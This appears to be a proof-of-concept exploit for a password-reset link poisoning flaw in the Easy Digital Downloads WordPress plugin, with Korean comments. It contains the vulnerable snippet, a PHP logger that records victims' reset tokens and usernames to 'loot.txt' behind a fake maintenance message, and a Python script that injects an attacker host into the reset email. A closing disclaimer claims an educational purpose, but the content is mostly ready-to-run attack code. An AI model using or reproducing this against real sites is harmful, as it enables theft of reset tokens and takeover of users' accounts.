// 개발자는 esc_url_raw가 충분한 보안이라고 믿었습니다... 치명적인 실수입니다.
$message = str_replace(
    '{password_reset_link}',
    add_query_arg(
        array(
            'edd_action' => 'password_reset_requested',
            'key'        => $key,
            'login'      => rawurlencode( $user_login ),
        ),
        esc_url_raw( $_POST['edd_redirect'] ) // <--- 주입 지점
    ),
    $message
);

<?php
// logger.php - 토큰과 사용자 캡처
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');

if ($key && $login) {
    $log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
    file_put_contents('loot.txt', $log, FILE_APPEND);
    echo "System maintenance. Please try again later."; // 기본적인 사회 공학
}
?>

python3 exploit.py

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# 설정
TARGET_URL = "http://vulnerable-shop.com/" # 상점의 루트 URL
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php" 

def poison_reset_link():
    print(f"[*] 대상: {TARGET_URL}")
    print(f"[*] 피해자: {VICTIM_EMAIL}")
    print(f"[*] 링크 중독 대상: {ATTACKER_HOST}")

    # 리디렉션을 주입하기 위한 페이로드
    data = {
        'edd_action': 'user_send_password_reset',
        'user_email': VICTIM_EMAIL,
        'edd_redirect': ATTACKER_HOST 
    }

    try:
        # 메인 엔드포인트(또는 EDD가 POST를 수신하는 곳)로 요청 전송
        r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
        
        if r.status_code == 200:
            print("[+] 성공! 중독된 이메일이 전송되었습니다.")
            print("[*] 이제 피해자가 이메일의 링크를 클릭할 때까지 기다리십시오.")
            print("[*] 서버에서 'loot.txt'를 확인하여 토큰을 획득하십시오.")
        else:
            print(f"[-] 실패. 상태 코드: {r.status_code}")
            
    except Exception as e:
        print(f"[!] 오류: {e}")

if __name__ == "__main__":
    poison_reset_link()

이 소프트웨어는 교육 및 보안 연구 목적으로만 제공됩니다.
저자(ZeroEthical)는 이 정보의 오용에 대해 책임을 지지 않습니다.
사전 서면 동의 없이 목표를 공격하는 것은 불법이며 심각한 법적 조치를 초래할 수 있습니다.
통제된 환경에서 자신의 책임 하에 사용하십시오.